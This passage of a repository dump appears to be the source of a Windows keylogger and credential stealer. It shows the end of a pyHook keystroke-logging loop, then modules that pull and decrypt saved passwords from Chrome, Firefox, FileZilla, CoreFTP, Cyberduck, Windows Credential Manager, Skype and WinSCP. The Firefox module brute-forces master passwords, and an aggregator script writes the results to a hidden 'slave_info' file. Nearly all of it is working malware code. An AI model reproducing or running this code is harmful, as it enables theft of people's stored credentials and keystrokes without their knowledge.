| except Exception as e: 576 | print e 577 | 578 | hooks_manager = pyHook.HookManager() 579 | hooks_manager.KeyDown = OnKeyboardEvent 580 | hooks_manager.HookKeyboard() 581 | pythoncom.PumpMessages() 582 | -------------------------------------------------------------------------------- /Recoveries/Coreftp.py: -------------------------------------------------------------------------------- 1 | # Inspired from https://github.com/AlessandroZ/LaZagne 2 | 3 | import binascii 4 | from Crypto.Cipher import AES 5 | import win32con, win32api 6 | 7 | 8 | class CoreFTP(): 9 | def __init__(self): 10 | self 11 | 12 | def get_secret(self): 13 | return "hdfzpysvpzimorhk" 14 | 15 | def decrypt(self, hex): 16 | encoded = binascii.unhexlify(hex) 17 | secret = self.get_secret() 18 | BLOCK_SIZE = 16 19 | mode = AES.MODE_ECB 20 | cipher = AES.new(secret, mode) 21 | return cipher.decrypt(encoded).split('\x00')[0] 22 | 23 | def get_key_info(self): 24 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 25 | try: 26 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites', 0, accessRead) 27 | except Exception, e: 28 | return False 29 | 30 | num_profiles = win32api.RegQueryInfoKey(key)[0] 31 | pwdFound = [] 32 | for n in range(num_profiles): 33 | name_skey = win32api.RegEnumKey(key, n) 34 | 35 | skey = win32api.RegOpenKey(key, name_skey, 0, accessRead) 36 | num = win32api.RegQueryInfoKey(skey)[1] 37 | 38 | values = {} 39 | for nn in range(num): 40 | k = win32api.RegEnumValue(skey, nn) 41 | if k[0] == 'Host': 42 | values['Host'] = k[1] 43 | if k[0] == 'Port': 44 | values['Port'] = k[1] 45 | if k[0] == 'User': 46 | values['User'] = k[1] 47 | pwdFound.append(values) 48 | if k[0] == 'PW': 49 | try: 50 | values['Password'] = self.decrypt(k[1]) 51 | except Exception, e: 52 | values['Password'] = 'N/A' 53 | # print the results 54 | return pwdFound 55 | 56 | def run(self): 57 | 58 | if self.get_key_info() == False: 59 | pass 60 | 61 | tem = CoreFTP() 62 | a= tem.run() 63 | print a -------------------------------------------------------------------------------- /Recoveries/Filezilla.py: -------------------------------------------------------------------------------- 1 | # Inspired from https://github.com/AlessandroZ/LaZagne 2 | 3 | import xml.etree.cElementTree as ET 4 | import os, base64 5 | 6 | class Filezilla(): 7 | def __init__(self): 8 | options = {'command': '-f', 'action': 'store_true', 'dest': 'filezilla', 'help': 'filezilla'} 9 | 10 | def run(self): 11 | if 'APPDATA' in os.environ: 12 | directory = os.environ['APPDATA'] + '\FileZilla' 13 | else: 14 | return 15 | 16 | interesting_xml_file = [] 17 | info_xml_file = [] 18 | if os.path.exists(os.path.join(directory, 'sitemanager.xml')): 19 | interesting_xml_file.append('sitemanager.xml') 20 | info_xml_file.append('Stores all saved sites server info including password in plaintext') 21 | 22 | if os.path.exists(os.path.join(directory, 'recentservers.xml')): 23 | interesting_xml_file.append('recentservers.xml') 24 | info_xml_file.append('Stores all recent server info including password in plaintext') 25 | 26 | if os.path.exists(os.path.join(directory, 'filezilla.xml')): 27 | interesting_xml_file.append('filezilla.xml') 28 | info_xml_file.append('Stores most recent server info including password in plaintext') 29 | 30 | if interesting_xml_file != []: 31 | pwdFound = [] 32 | 33 | for i in range(len(interesting_xml_file)): 34 | 35 | xml_file = os.path.expanduser(directory + os.sep + interesting_xml_file[i]) 36 | 37 | tree = ET.ElementTree(file=xml_file) 38 | root = tree.getroot() 39 | 40 | servers = root.getchildren() 41 | for ss in servers: 42 | server = ss.getchildren() 43 | 44 | jump_line = 0 45 | for s in server: 46 | s1 = s.getchildren() 47 | values = {} 48 | for s11 in s1: 49 | if s11.tag == 'Host': 50 | values[s11.tag] = s11.text 51 | 52 | if s11.tag == 'Port': 53 | values[s11.tag] = s11.text 54 | 55 | if s11.tag == 'User': 56 | values['Login'] = s11.text 57 | 58 | if s11.tag == 'Pass': 59 | try: 60 | # if base64 encoding 61 | if 'encoding' in s11.attrib: 62 | if s11.attrib['encoding'] == 'base64': 63 | values['Password'] = base64.b64decode(s11.text) 64 | else: 65 | values['Password'] = s11.text 66 | except: 67 | values['Password'] = s11.text 68 | 69 | # password found 70 | if len(values) != 0: 71 | pwdFound.append(values) 72 | # print the results 73 | return pwdFound 74 | 75 | else: 76 | pass 77 | 78 | #tem = Filezilla() 79 | #a = tem.run() 80 | #print a -------------------------------------------------------------------------------- /Recoveries/Mozilla.py: -------------------------------------------------------------------------------- 1 | # Inspired from https://github.com/Unode/firefox_decrypt/blob/master/firefox_decrypt.py 2 | 3 | from ctypes import * 4 | import sys, os, re, glob 5 | from base64 import b64decode 6 | from ConfigParser import RawConfigParser 7 | import sqlite3 8 | import json 9 | import shutil 10 | from itertools import product 11 | from pyasn1.codec.der import decoder 12 | from struct import unpack 13 | from binascii import hexlify, unhexlify 14 | from hashlib import sha1 15 | import hmac 16 | from Crypto.Util.number import long_to_bytes 17 | from Crypto.Cipher import DES3 18 | from constant import * 19 | 20 | 21 | class Credentials(object): 22 | def __init__(self, db): 23 | global database_find 24 | self.db = db 25 | if os.path.isfile(db): 26 | # check if the database is not empty 27 | f = open(db, 'r') 28 | tmp = f.read() 29 | if tmp: 30 | database_find = True 31 | f.close() 32 | 33 | def __iter__(self): 34 | pass 35 | 36 | def done(self): 37 | pass 38 | 39 | 40 | class JsonDatabase(Credentials): 41 | def __init__(self, profile): 42 | db = profile + os.sep + "logins.json" 43 | super(JsonDatabase, self).__init__(db) 44 | 45 | def __iter__(self): 46 | if os.path.exists(self.db): 47 | with open(self.db) as fh: 48 | data = json.load(fh) 49 | try: 50 | logins = data["logins"] 51 | except: 52 | raise Exception("Unrecognized format in {0}".format(self.db)) 53 | 54 | for i in logins: 55 | yield (i["hostname"], i["encryptedUsername"], i["encryptedPassword"]) 56 | 57 | 58 | class SqliteDatabase(Credentials): 59 | def __init__(self, profile): 60 | db = profile + os.sep + "signons.sqlite" 61 | super(SqliteDatabase, self).__init__(db) 62 | self.conn = sqlite3.connect(db) 63 | self.c = self.conn.cursor() 64 | 65 | def __iter__(self): 66 | self.c.execute("SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins") 67 | for i in self.c: 68 | yield i 69 | 70 | def done(self): 71 | super(SqliteDatabase, self).done() 72 | self.c.close() 73 | self.conn.close() 74 | 75 | 76 | class Mozilla(): 77 | 78 | def __init__(self, isThunderbird=False): 79 | 80 | self.credentials_categorie = None 81 | 82 | self.toCheck = [] 83 | self.manually_pass = None 84 | self.dictionary_path = None 85 | self.number_toStop = None 86 | 87 | self.key3 = '' 88 | 89 | # Manage options 90 | suboptions = [ 91 | {'command': '-m', 'action': 'store', 'dest': 'manually', 'help': 'enter the master password manually', 92 | 'title': 'Advanced Mozilla master password options'}, 93 | {'command': '-s', 'action': 'store', 'dest': 'specific_path', 94 | 'help': 'enter the specific path to a profile you want to crack', 95 | 'title': 'Advanced Mozilla master password options'} 96 | ] 97 | 98 | def get_path(self, software_name): 99 | software_name = 'Firefox' 100 | if 'APPDATA' in os.environ: 101 | if software_name == 'Firefox': 102 | path = '%s\Mozilla\Firefox' % str(os.environ['APPDATA']) 103 | else: 104 | return 105 | 106 | return path 107 | 108 | def manage_advanced_options(self): 109 | if constant.manually: 110 | self.manually_pass = constant.manually 111 | self.toCheck.append('m') 112 | 113 | if constant.path: 114 | self.dictionary_path = constant.path 115 | self.toCheck.append('a') 116 | 117 | if constant.bruteforce: 118 | self.number_toStop = int(constant.bruteforce) + 1 119 | self.toCheck.append('b') 120 | 121 | # default attack 122 | if self.toCheck == []: 123 | self.toCheck = ['b', 'd'] 124 | self.number_toStop = 3 125 | 126 | # -------------------------------------------- 127 | 128 | def getShortLE(self, d, a): 129 | return unpack('L', (d)[a:a + 4])[0] 133 | 134 | def printASN1(self, d, l, rl): 135 | type = ord(d[0]) 136 | length = ord(d[1]) 137 | if length & 0x80 > 0: 138 | nByteLength = length & 0x7f 139 | length = ord(d[2]) 140 | skip = 1 141 | else: 142 | skip = 0 143 | 144 | if type == 0x30: 145 | seqLen = length 146 | readLen = 0 147 | while seqLen > 0: 148 | len2 = self.printASN1(d[2 + skip + readLen:], seqLen, rl + 1) 149 | seqLen = seqLen - len2 150 | readLen = readLen + len2 151 | return length + 2 152 | elif type == 6: # OID 153 | return length + 2 154 | elif type == 4: # OCTETSTRING 155 | return length + 2 156 | elif type == 5: # NULL 157 | # print 0 158 | return length + 2 159 | elif type == 2: # INTEGER 160 | return length + 2 161 | else: 162 | if length == l - 2: 163 | self.printASN1(d[2:], length, rl + 1) 164 | return length 165 | 166 | def readBsddb(self, name): 167 | f = open(name, 'rb') 168 | 169 | header = f.read(4 * 15) 170 | magic = self.getLongBE(header, 0) 171 | if magic != 0x61561: 172 | return False 173 | version = self.getLongBE(header, 4) 174 | if version != 2: 175 | return False 176 | pagesize = self.getLongBE(header, 12) 177 | nkeys = self.getLongBE(header, 0x38) 178 | 179 | readkeys = 0 180 | page = 1 181 | nval = 0 182 | val = 1 183 | db1 = [] 184 | while (readkeys < nkeys): 185 | f.seek(pagesize * page) 186 | offsets = f.read((nkeys + 1) * 4 + 2) 187 | offsetVals = [] 188 | i = 0 189 | nval = 0 190 | val = 1 191 | keys = 0 192 | while nval != val: 193 | keys += 1 194 | key = self.getShortLE(offsets, 2 + i) 195 | val = self.getShortLE(offsets, 4 + i) 196 | nval = self.getShortLE(offsets, 8 + i) 197 | offsetVals.append(key + pagesize * page) 198 | offsetVals.append(val + pagesize * page) 199 | readkeys += 1 200 | i += 4 201 | offsetVals.append(pagesize * (page + 1)) 202 | valKey = sorted(offsetVals) 203 | for i in range(keys * 2): 204 | f.seek(valKey[i]) 205 | data = f.read(valKey[i + 1] - valKey[i]) 206 | db1.append(data) 207 | page += 1 208 | f.close() 209 | db = {} 210 | 211 | for i in range(0, len(db1), 2): 212 | db[db1[i + 1]] = db1[i] 213 | 214 | return db 215 | 216 | def decrypt3DES(self, globalSalt, masterPassword, entrySalt, encryptedData): 217 | hp = sha1(globalSalt + masterPassword).digest() 218 | pes = entrySalt + '\x00' * (20 - len(entrySalt)) 219 | chp = sha1(hp + entrySalt).digest() 220 | k1 = hmac.new(chp, pes + entrySalt, sha1).digest() 221 | tk = hmac.new(chp, pes, sha1).digest() 222 | k2 = hmac.new(chp, tk + entrySalt, sha1).digest() 223 | k = k1 + k2 224 | iv = k[-8:] 225 | key = k[:24] 226 | 227 | return DES3.new(key, DES3.MODE_CBC, iv).decrypt(encryptedData) 228 | 229 | def extractSecretKey(self, globalSalt, masterPassword, entrySalt): 230 | 231 | (globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword) 232 | 233 | if unhexlify('f8000000000000000000000000000001') not in self.key3: 234 | return None 235 | privKeyEntry = self.key3[unhexlify('f8000000000000000000000000000001')] 236 | saltLen = ord(privKeyEntry[1]) 237 | nameLen = ord(privKeyEntry[2]) 238 | privKeyEntryASN1 = decoder.decode(privKeyEntry[3 + saltLen + nameLen:]) 239 | data = privKeyEntry[3 + saltLen + nameLen:] 240 | self.printASN1(data, len(data), 0) 241 | 242 | # see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt 243 | entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() 244 | privKeyData = privKeyEntryASN1[0][1].asOctets() 245 | privKey = self.decrypt3DES(globalSalt, masterPassword, entrySalt, privKeyData) 246 | self.printASN1(privKey, len(privKey), 0) 247 | 248 | privKeyASN1 = decoder.decode(privKey) 249 | prKey = privKeyASN1[0][2].asOctets() 250 | self.printASN1(prKey, len(prKey), 0) 251 | prKeyASN1 = decoder.decode(prKey) 252 | id = prKeyASN1[0][1] 253 | key = long_to_bytes(prKeyASN1[0][3]) 254 | 255 | return key 256 | 257 | # -------------------------------------------- 258 | 259 | # Get the path list of the firefox profiles 260 | def get_firefox_profiles(self, directory): 261 | cp = RawConfigParser() 262 | cp.read(os.path.join(directory, 'profiles.ini')) 263 | profile_list = [] 264 | for section in cp.sections(): 265 | if section.startswith('Profile'): 266 | if cp.has_option(section, 'Path'): 267 | profile_list.append(os.path.join(directory, cp.get(section, 'Path').strip())) 268 | return profile_list 269 | 270 | def save_db(self, userpath): 271 | 272 | # create the folder to save it by profile 273 | relative_path = constant.folder_name + os.sep + 'firefox' 274 | if not os.path.exists(relative_path): 275 | os.makedirs(relative_path) 276 | 277 | relative_path += os.sep + os.path.basename(userpath) 278 | if not os.path.exists(relative_path): 279 | os.makedirs(relative_path) 280 | 281 | # Get the database name 282 | if os.path.exists(userpath + os.sep + 'logins.json'): 283 | dbname = 'logins.json' 284 | elif os.path.exists(userpath + os.sep + 'signons.sqlite'): 285 | dbname = 'signons.sqlite' 286 | 287 | # copy the files (database + key3.db) 288 | try: 289 | ori_db = userpath + os.sep + dbname 290 | dst_db = relative_path + os.sep + dbname 291 | shutil.copyfile(ori_db, dst_db) 292 | except Exception, e: 293 | pass 294 | 295 | try: 296 | dbname = 'key3.db' 297 | ori_db = userpath + os.sep + dbname 298 | dst_db = relative_path + os.sep + dbname 299 | shutil.copyfile(ori_db, dst_db) 300 | except Exception, e: 301 | pass 302 | 303 | # ------------------------------ Master Password Functions ------------------------------ 304 | 305 | def is_masterpassword_correct(self, masterPassword=''): 306 | try: 307 | # see http://www.drh-consultancy.demon.co.uk/key3.html 308 | pwdCheck = self.key3['password-check'] 309 | entrySaltLen = ord(pwdCheck[1]) 310 | entrySalt = pwdCheck[3: 3 + entrySaltLen] 311 | encryptedPasswd = pwdCheck[-16:] 312 | globalSalt = self.key3['global-salt'] 313 | cleartextData = self.decrypt3DES(globalSalt, masterPassword, entrySalt, encryptedPasswd) 314 | if cleartextData != 'password-check\x02\x02': 315 | return ('', '', '') 316 | 317 | return (globalSalt, masterPassword, entrySalt) 318 | except: 319 | return ('', '', '') 320 | 321 | # Retrieve masterpassword 322 | def found_masterpassword(self): 323 | 324 | # master password entered manually 325 | if 'm' in self.toCheck: 326 | if self.is_masterpassword_correct(self.manually_pass)[0]: 327 | return self.manually_pass 328 | else: 329 | pass 330 | 331 | # dictionary attack 332 | if 'a' in self.toCheck: 333 | try: 334 | pass_file = open(self.dictionary_path, 'r') 335 | num_lines = sum(1 for line in pass_file) 336 | except: 337 | return False 338 | pass_file.close() 339 | 340 | try: 341 | with open(self.dictionary_path) as f: 342 | for p in f: 343 | if self.is_masterpassword_correct(p.strip())[0]: 344 | return p.strip() 345 | 346 | except (KeyboardInterrupt, SystemExit): 347 | print 'INTERRUPTED!' 348 | except Exception, e: 349 | pass 350 | 351 | # brute force attack 352 | if 'b' in self.toCheck or constant.bruteforce: 353 | charset_list = 'abcdefghijklmnopqrstuvwxyz1234567890!?' 354 | 355 | try: 356 | for length in range(1, int(self.number_toStop)): 357 | words = product(charset_list, repeat=length) 358 | for word in words: 359 | if self.is_masterpassword_correct(''.join(word))[0]: 360 | w = ''.join(word) 361 | return w.strip() 362 | except (KeyboardInterrupt, SystemExit): 363 | print 'INTERRUPTED!' 364 | except Exception, e: 365 | pass 366 | return False 367 | 368 | # ------------------------------ End of Master Password Functions ------------------------------ 369 | 370 | # main function 371 | def run(self): 372 | global database_find 373 | database_find = False 374 | 375 | self.manage_advanced_options() 376 | 377 | software_name = constant.mozilla_software 378 | specific_path = constant.specific_path 379 | 380 | # get the installation path 381 | path = self.get_path(software_name) 382 | if not path: 383 | return 384 | 385 | # Check if mozilla folder has been found 386 | elif not os.path.exists(path): 387 | return 388 | else: 389 | if specific_path: 390 | if os.path.exists(specific_path): 391 | profile_list = [specific_path] 392 | else: 393 | return 394 | else: 395 | profile_list = self.get_firefox_profiles(path) 396 | 397 | pwdFound = [] 398 | for profile in profile_list: 399 | if not os.path.exists(profile + os.sep + 'key3.db'): 400 | return 401 | 402 | self.key3 = self.readBsddb(profile + os.sep + 'key3.db') 403 | if not self.key3: 404 | return 405 | 406 | # check if passwords are stored on the Json format 407 | try: 408 | credentials = JsonDatabase(profile) 409 | except: 410 | database_find = False 411 | 412 | if not database_find: 413 | # check if passwords are stored on the sqlite format 414 | try: 415 | credentials = SqliteDatabase(profile) 416 | except: 417 | database_find = False 418 | 419 | if database_find: 420 | masterPassword = '' 421 | (globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword) 422 | 423 | # find masterpassword if set 424 | if not globalSalt: 425 | masterPassword = self.found_masterpassword() 426 | if not masterPassword: 427 | return 428 | 429 | # get user secret key 430 | key = self.extractSecretKey(globalSalt, masterPassword, entrySalt) 431 | if not key: 432 | return 433 | 434 | # everything is ready to decrypt password 435 | for host, user, passw in credentials: 436 | values = {} 437 | values["Website"] = host 438 | 439 | # Login 440 | loginASN1 = decoder.decode(b64decode(user)) 441 | iv = loginASN1[0][1][1].asOctets() 442 | ciphertext = loginASN1[0][2].asOctets() 443 | login = DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext) 444 | # remove bad character at the end 445 | try: 446 | nb = unpack('B', login[-1])[0] 447 | values["Username"] = login[:-nb] 448 | except: 449 | values["Username"] = login 450 | 451 | # Password 452 | passwdASN1 = decoder.decode(b64decode(passw)) 453 | iv = passwdASN1[0][1][1].asOctets() 454 | ciphertext = passwdASN1[0][2].asOctets() 455 | password = DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext) 456 | # remove bad character at the end 457 | try: 458 | nb = unpack('B', password[-1])[0] 459 | values["Password"] = password[:-nb] 460 | except: 461 | values["Password"] = password 462 | 463 | if len(values): 464 | pwdFound.append(values) 465 | 466 | # print the results 467 | return pwdFound 468 | 469 | #tem = Mozilla() 470 | #a = tem.run() 471 | #print a -------------------------------------------------------------------------------- /Recoveries/Test.py: -------------------------------------------------------------------------------- 1 | import chrome 2 | import Coreftp 3 | import cyberduck 4 | import dotnet 5 | import Filezilla 6 | import ftpnavigator 7 | import Mozilla 8 | import network 9 | import outlook 10 | import putty 11 | import skype 12 | import winscp 13 | 14 | class Result(): 15 | def __init__(self): 16 | pass 17 | 18 | def run(self): 19 | ret_list = [] 20 | 21 | try: 22 | chrome_win = chrome.Chrome() 23 | ret_list.append("Chrome") 24 | ret_list.append(chrome_win.run()) 25 | except: 26 | pass 27 | 28 | try: 29 | moz_illa = Mozilla.Mozilla() 30 | ret_list.append("Mozilla") 31 | ret_list.append(moz_illa.run()) 32 | except: 33 | pass 34 | 35 | try: 36 | file_zilla = Filezilla.Filezilla() 37 | ret_list.append("Filezilla") 38 | ret_list.append(file_zilla.run()) 39 | except: 40 | pass 41 | 42 | try: 43 | core_ftp = Coreftp.CoreFTP() 44 | ret_list.append("CoreFTP") 45 | ret_list.append(core_ftp.run()) 46 | except: 47 | pass 48 | 49 | try: 50 | cyber_duck = cyberduck.Cyberduck() 51 | ret_list.append("Cyberduck") 52 | ret_list.append(cyber_duck.run()) 53 | except: 54 | pass 55 | 56 | try: 57 | ftp_navigator = ftpnavigator.FtpNavigator() 58 | ret_list.append("FtpNavigator") 59 | ret_list.append(ftp_navigator.run()) 60 | except: 61 | pass 62 | 63 | try: 64 | out_look = outlook.Outlook() 65 | ret_list.append("Outlook") 66 | ret_list.append(out_look.run()) 67 | except: 68 | pass 69 | 70 | try: 71 | skype_ms = skype.Skype() 72 | ret_list.append("Skype") 73 | ret_list.append(skype_ms.run()) 74 | except: 75 | pass 76 | 77 | try: 78 | d_net = dotnet.Dot_net() 79 | ret_list.append("DotNet") 80 | ret_list.append(d_net.run()) 81 | except: 82 | pass 83 | 84 | try: 85 | net_work = network.Network() 86 | ret_list.append("Network") 87 | ret_list.append(net_work.run()) 88 | except: 89 | pass 90 | 91 | try: 92 | putty_cm = putty.Putty() 93 | ret_list.append("Putty") 94 | ret_list.append(putty_cm.run()) 95 | except: 96 | pass 97 | 98 | try: 99 | win_scp = winscp.WinSCP() 100 | ret_list.append("WinSCP") 101 | ret_list.append(win_scp.run()) 102 | except: 103 | pass 104 | 105 | return ret_list 106 | 107 | #tem = Result() 108 | #slave_info = 'C:\Users\Public\Intel\Logs\info.txt' 109 | #open_slave_info = open(slave_info, "w") 110 | #open_slave_info.write(str(tem.run()) + "\n") 111 | #open_slave_info.close() 112 | 113 | -------------------------------------------------------------------------------- /Recoveries/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mehulj94/Radium/ad1b998a5ca342d5dcedff3b65f1133095ee66e4/Recoveries/__init__.py -------------------------------------------------------------------------------- /Recoveries/chrome.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | import shutil 3 | import win32crypt 4 | import sys, os, platform 5 | 6 | 7 | class Chrome(): 8 | def __init__(self): 9 | pass 10 | 11 | def run(self): 12 | 13 | database_path = '' 14 | if 'HOMEDRIVE' in os.environ and 'HOMEPATH' in os.environ: 15 | # For Win7 16 | path_Win7 = os.environ.get('HOMEDRIVE') + os.environ.get( 17 | 'HOMEPATH') + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data' 18 | 19 | # For XP 20 | path_XP = os.environ.get('HOMEDRIVE') + os.environ.get( 21 | 'HOMEPATH') + '\AppData\Local\Google\Chrome\User Data\Default\Login Data' 22 | 23 | if os.path.exists(path_XP): 24 | database_path = path_XP 25 | 26 | elif os.path.exists(path_Win7): 27 | database_path = path_Win7 28 | 29 | else: 30 | return 31 | else: 32 | return 33 | 34 | # Copy database before to query it (bypass lock errors) 35 | try: 36 | shutil.copy(database_path, os.getcwd() + os.sep + 'tmp_db') 37 | database_path = os.getcwd() + os.sep + 'tmp_db' 38 | 39 | except Exception, e: 40 | pass 41 | 42 | # Connect to the Database 43 | try: 44 | conn = sqlite3.connect(database_path) 45 | cursor = conn.cursor() 46 | except Exception, e: 47 | return 48 | 49 | # Get the results 50 | try: 51 | cursor.execute('SELECT action_url, username_value, password_value FROM logins') 52 | except: 53 | return 54 | 55 | pwdFound = [] 56 | for result in cursor.fetchall(): 57 | values = {} 58 | 59 | try: 60 | # Decrypt the Password 61 | password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] 62 | except Exception, e: 63 | password = '' 64 | 65 | if password: 66 | values['Site'] = result[0] 67 | values['Username'] = result[1] 68 | values['Password'] = password 69 | pwdFound.append(values) 70 | 71 | conn.close() 72 | if database_path.endswith('tmp_db'): 73 | os.remove(database_path) 74 | 75 | return pwdFound 76 | 77 | #tem = Chrome() 78 | #a = tem.run() 79 | #print a -------------------------------------------------------------------------------- /Recoveries/constant.py: -------------------------------------------------------------------------------- 1 | class constant(): 2 | folder_name = 'results' 3 | MAX_HELP_POSITION = 27 4 | CURRENT_VERSION = '1.1' 5 | output = None 6 | file_logger = None 7 | 8 | # jitsi options 9 | jitsi_masterpass = None 10 | 11 | # mozilla options 12 | manually = None 13 | path = None 14 | bruteforce = None 15 | specific_path = None 16 | mozilla_software = '' 17 | 18 | # ie options 19 | ie_historic = None 20 | 21 | # total password found 22 | nbPasswordFound = 0 23 | passwordFound = [] 24 | -------------------------------------------------------------------------------- /Recoveries/cyberduck.py: -------------------------------------------------------------------------------- 1 | # Inspired from https://github.com/AlessandroZ/LaZagne 2 | 3 | import win32crypt 4 | import os, base64 5 | import xml.etree.cElementTree as ET 6 | 7 | 8 | class Cyberduck(): 9 | def __init__(self): 10 | pass 11 | 12 | # find the user.config file containing passwords 13 | def get_path(self): 14 | if 'APPDATA' in os.environ: 15 | directory = os.environ['APPDATA'] + '\Cyberduck' 16 | 17 | if os.path.exists(directory): 18 | for dir in os.listdir(directory): 19 | if dir.startswith('Cyberduck'): 20 | for d in os.listdir(directory + os.sep + dir): 21 | path = directory + os.sep + dir + os.sep + d + os.sep + 'user.config' 22 | if os.path.exists(path): 23 | return path 24 | 25 | return 'User_profil_not_found' 26 | else: 27 | return 'CYBERDUCK_NOT_EXISTS' 28 | else: 29 | return 'APPDATA_NOT_FOUND' 30 | 31 | # parse the xml file 32 | def parse_xml(self, xml_file): 33 | tree = ET.ElementTree(file=xml_file) 34 | 35 | pwdFound = [] 36 | for elem in tree.iter(): 37 | values = {} 38 | try: 39 | if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') or elem.attrib[ 40 | 'name'].startswith('sftp') or elem.attrib['name'].startswith('http') or elem.attrib[ 41 | 'name'].startswith('https'): 42 | values['URL'] = elem.attrib['name'] 43 | encrypted_password = base64.b64decode(elem.attrib['value']) 44 | password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1] 45 | values['Password'] = password 46 | 47 | pwdFound.append(values) 48 | except Exception, e: 49 | pass 50 | 51 | # print the results 52 | return pwdFound 53 | 54 | # main function 55 | def run(self): 56 | 57 | path = self.get_path() 58 | if path == 'CYBERDUCK_NOT_EXISTS': 59 | pass 60 | elif path == 'User_profil_not_found': 61 | pass 62 | elif path == 'APPDATA_NOT_FOUND': 63 | pass 64 | else: 65 | self.parse_xml(path) 66 | 67 | #tem = Cyberduck() 68 | #a = tem.run() 69 | #print a -------------------------------------------------------------------------------- /Recoveries/dotnet.py: -------------------------------------------------------------------------------- 1 | # Inspired from https://github.com/AlessandroZ/LaZagne 2 | 3 | import struct 4 | from ctypes import * 5 | from ctypes.wintypes import DWORD 6 | import win32cred 7 | 8 | memcpy = cdll.msvcrt.memcpy 9 | LocalFree = windll.kernel32.LocalFree 10 | CryptUnprotectData = windll.crypt32.CryptUnprotectData 11 | CRYPTPROTECT_UI_FORBIDDEN = 0x01 12 | 13 | 14 | class DATA_BLOB(Structure): 15 | _fields_ = [ 16 | ('cbData', DWORD), 17 | ('pbData', POINTER(c_char)) 18 | ] 19 | 20 | 21 | class Dot_net(): 22 | def __init__(self): 23 | pass 24 | 25 | def getData(self, blobOut): 26 | cbData = int(blobOut.cbData) 27 | pbData = blobOut.pbData 28 | buffer = c_buffer(cbData) 29 | memcpy(buffer, pbData, cbData) 30 | LocalFree(pbData); 31 | return buffer.raw 32 | 33 | def get_creds(self): 34 | try: 35 | creds = win32cred.CredEnumerate(None, 0) 36 | return creds 37 | except Exception, e: 38 | print e 39 | return None 40 | 41 | def get_entropy(self): 42 | entropy = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0\0' 43 | s = '' 44 | for c in entropy: 45 | s += struct.pack('I", dec).strip('\x00') 70 | 71 | # byte to hex 72 | return binascii.hexlify(tmp) 73 | 74 | # used for dictionary attack, if user specify a specific file 75 | def get_dic_file(self, dictionary_path): 76 | words = [] 77 | if dictionary_path: 78 | try: 79 | dicFile = open(dictionary_path, 'r') 80 | except Exception, e: 81 | return [] 82 | 83 | for word in dicFile.readlines(): 84 | words.append(word.strip('\n')) 85 | dicFile.close() 86 | return words 87 | 88 | def dictionary_attack(self, login, md5): 89 | wordlist = [] 90 | 91 | for word in wordlist: 92 | hash = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest() 93 | if hash == md5: 94 | return word 95 | return False 96 | 97 | # main function 98 | def run(self): 99 | 100 | if 'APPDATA' in os.environ: 101 | directory = os.environ['APPDATA'] + '\Skype' 102 | 103 | if os.path.exists(directory): 104 | # retrieve the key used to build the salt 105 | key = self.get_regkey() 106 | if key == 'failed': 107 | print 'failed' 108 | else: 109 | pwdFound = [] 110 | for d in os.listdir(directory): 111 | if os.path.exists(directory + os.sep + d + os.sep + 'config.xml'): 112 | values = {} 113 | 114 | try: 115 | values['username'] = d 116 | 117 | # get encrypted hash from the config file 118 | enc_hex = self.get_hash_credential(directory + os.sep + d + os.sep + 'config.xml') 119 | 120 | if enc_hex == 'failed': 121 | pass 122 | else: 123 | # decrypt the hash to get the md5 to brue force 124 | values['hash_md5'] = self.get_md5_hash(enc_hex, key) 125 | values['shema to bruteforce'] = values['username'] + '\\nskyper\\n' 126 | 127 | # Try a dictionary attack on the hash 128 | password = self.dictionary_attack(values['username'], values['hash_md5']) 129 | if password: 130 | values['password'] = password 131 | 132 | pwdFound.append(values) 133 | except Exception, e: 134 | print e 135 | # print the results 136 | return pwdFound 137 | else: 138 | pass 139 | else: 140 | pass 141 | 142 | #tem = Skype() 143 | #a = tem.run() 144 | #print a -------------------------------------------------------------------------------- /Recoveries/winscp.py: -------------------------------------------------------------------------------- 1 | # Inspired from https://github.com/AlessandroZ/LaZagne 2 | 3 | import win32con, win32api 4 | 5 | 6 | class WinSCP(): 7 | def __init__(self): 8 | self.hash = '' 9 | self.username = '' 10 | self.hostname = '' 11 | 12 | def get_hash(self): 13 | return self.hash 14 | 15 | def set_hash(self, _hash): 16 | self.hash = _hash 17 | 18 | def get_username(self): 19 | return self.username 20 | 21 | def set_username(self, _username): 22 | self.username = _username 23 | 24 | def get_hostname(self): 25 | return self.hostname 26 | 27 | def set_hostname(self, _hostname): 28 | self.hostname = _hostname 29 | 30 | def decrypt_char(self): 31 | hash = self.get_hash() 32 | 33 | hex_flag = 0xA3 34 | charset = '0123456789ABCDEF' 35 | 36 | if len(hash) > 0: 37 | unpack1 = charset.find(hash[0]) 38 | unpack1 = unpack1 << 4 39 | 40 | unpack2 = charset.find(hash[1]) 41 | result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff 42 | 43 | # store the new hash 44 | self.set_hash(hash[2:]) 45 | 46 | return result 47 | 48 | def check_winscp_installed(self): 49 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 50 | try: 51 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 52 | 'Software\Martin Prikryl\WinSCP 2\Configuration\Security', 0, accessRead) 53 | return True 54 | except Exception, e: 55 | return False 56 | 57 | def check_masterPassword(self): 58 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 59 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 